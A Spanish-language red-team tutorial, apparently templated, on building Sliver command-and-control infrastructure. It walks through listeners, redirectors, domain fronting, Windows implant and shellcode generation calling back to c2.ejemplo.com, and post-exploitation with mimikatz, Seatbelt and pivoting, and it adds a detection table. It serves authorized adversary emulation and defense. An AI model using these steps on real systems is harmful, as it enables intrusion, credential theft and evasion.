¿Qué hace Construcción de Infraestructura C2 con Sliver Framework?
Resumen
Sliver es un marco de emulación de adversarios de código abierto y multiplataforma desarrollado por BishopFox, escrito en Go. Proporciona a los equipos rojos generación de implantes, canales C2 multiprotocolo (mTLS, HTTP/S, DNS, WireGuard), soporte multi-operador y extensas capacidades de post-explotación. Sliver admite modos beacon (asíncrono) y sesión (interactivo), lo que lo hace adecuado tanto para operaciones de larga duración como para explotación interactiva. Una infraestructura Sliver correctamente diseñada utiliza redireccionadores, dominio frontal y certificados HTTPS para mantener la resiliencia operativa y evitar la detección.
Cuándo Usar
- Al desplegar o configurar capacidades de construcción de infraestructura C2 con el marco Sliver en su entorno.
- Al establecer controles de seguridad alineados con los requisitos de cumplimiento.
- Al construir o mejorar la arquitectura de seguridad para este dominio.
- Al realizar evaluaciones de seguridad que requieran esta implementación.
Prerrequisitos
- Familiaridad con conceptos y herramientas de equipo rojo.
- Acceso a un entorno de prueba o laboratorio para una ejecución segura.
- Python 3.8+ con las dependencias necesarias instaladas.
- Autorización adecuada para cualquier actividad de prueba.
Objetivos
- Desplegar un servidor de equipo Sliver en infraestructura en la nube endurecida.
- Configurar oyentes HTTPS, mTLS, DNS y WireGuard.
- Generar implantes (beacons y sesiones) para plataformas objetivo.
- Configurar redireccionadores NGINX o Apache entre los implantes y el servidor de equipo.
- Implementar dominio frontal basado en Cloudflare o CDN para ofuscar el tráfico.
- Configurar acceso multi-operador con autenticación basada en certificados.
- Establecer controles de seguridad operacional para las comunicaciones C2.
Mapeo MITRE ATT&CK
- T1071.001 - Protocolo de Capa de Aplicación: Protocolos Web
- T1071.004 - Protocolo de Capa de Aplicación: DNS
- T1573.002 - Canal Cifrado: Criptografía Asimétrica
- T1090.002 - Proxy: Proxy Externo (Redireccionadores)
- T1105 - Transferencia de Herramientas de Ingreso
- T1132.001 - Codificación de Datos: Codificación Estándar
- T1572 - Tunelización de Protocolos
Flujo de Trabajo
Fase 1: Despliegue del Servidor de Equipo
- Aprovisionar un VPS (ej., DigitalOcean, Linode, AWS EC2) para el servidor de equipo.
- Endurecer el SO: deshabilitar la autenticación por contraseña SSH, configurar UFW/iptables, instalar fail2ban.
- Instalar Sliver usando el script de instalación oficial:
curl https://sliver.sh/install | sudo bash
- Iniciar el demonio del servidor Sliver:
systemctl start sliver
sliver-server
- Generar archivos de configuración de operador para miembros del equipo:
new-operator --name operador1 --lhost <ip-servidor-equipo>
Fase 2: Configuración de Oyentes
- Configurar un oyente HTTPS con un certificado SSL legítimo:
https --lhost 0.0.0.0 --lport 443 --dominio c2.ejemplo.com --cert /ruta/al/cert.pem --key /ruta/a/key.pem
- Configurar un oyente DNS como C2 de respaldo:
dns --dominios c2dns.ejemplo.com --lport 53
- Configurar un oyente mTLS para sesiones de alta seguridad:
mtls --lhost 0.0.0.0 --lport 8888
- Configurar un oyente WireGuard para acceso tunelizado:
wg --lport 51820
Fase 3: Configuración de Redireccionador
- Desplegar un VPS separado como redireccionador (posicionado entre los objetivos y el servidor de equipo).
- Instalar y configurar NGINX como proxy inverso:
server {
listen 443 ssl;
server_name c2.ejemplo.com;
ssl_certificate /etc/letsencrypt/live/c2.ejemplo.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.ejemplo.com/privkey.pem;
location / {
proxy_pass https://<ip-servidor-equipo>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
- Configurar reglas iptables en el servidor de equipo para aceptar solo conexiones del redireccionador:
iptables -A INPUT -p tcp --dport 443 -s <ip-redireccionador> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
- Opcionalmente, configurar Cloudflare como capa CDN delante del redireccionador para dominio frontal.
Fase 4: Generación de Implantes
- Generar un implante beacon HTTPS:
generate beacon --http https://c2.ejemplo.com --os windows --arch amd64 --format exe --name payload
- Generar un beacon DNS para redes restringidas:
generate beacon --dns c2dns.ejemplo.com --os windows --arch amd64
- Generar un payload shellcode para inyección:
generate --http https://c2.ejemplo.com --os windows --arch amd64 --format shellcode
- Configurar el intervalo de fluctuación y devolución de llamada del beacon:
generate beacon --http https://c2.ejemplo.com --seconds 60 --jitter 30
Fase 5: Operaciones de Post-Explotación
- Interactuar con beacons/sesiones activos:
beacons
use <id-beacon>
- Ejecutar módulos de post-explotación:
ps
netstat
execute-assembly /ruta/a/Seatbelt.exe -group=all
sideload /ruta/a/mimikatz.dll
- Configurar pivotes para acceso a redes internas:
pivots tcp --bind 0.0.0.0:9898
- Usar BOF (Beacon Object Files) para ejecución en memoria:
armory install sa-ldapsearch
sa-ldapsearch -- "(objectClass=user)"
Herramientas y Recursos
| Herramienta | Propósito | Plataforma |
|---|
| Servidor Sliver | Servidor de equipo C2 y gestión de implantes | Linux/macOS/Windows |
| Cliente Sliver | Consola de operador para miembros del equipo | Multiplataforma |
| NGINX | Redireccionador y proxy inverso | Linux |
| Certbot | Generación de certificados SSL de Let's Encrypt | Linux |
| Cloudflare | CDN y dominio frontal | Nube |
| Armory | Gestor de paquetes de extensiones/BOF de Sliver | Integrado |
Firmas de Detección
| Indicador | Método de Detección |
|---|
| Cabeceras HTTP predeterminadas de Sliver | Análisis de tráfico de red para cadenas User-Agent inusuales |
| mTLS en puertos no estándar | Registros de firewall para conexiones salientes a puertos inusuales |
| Consultas de registros TXT DNS con alta entropía | Análisis de registros DNS para tráfico C2 codificado |
| Tráfico UDP WireGuard en el puerto 51820 | Análisis de flujo de red para patrones de handshake WireGuard |
| Hashes de archivos de implantes Sliver | Coincidencia de firmas de EDR/AV contra muestras conocidas de Sliver |
Criterios de Validación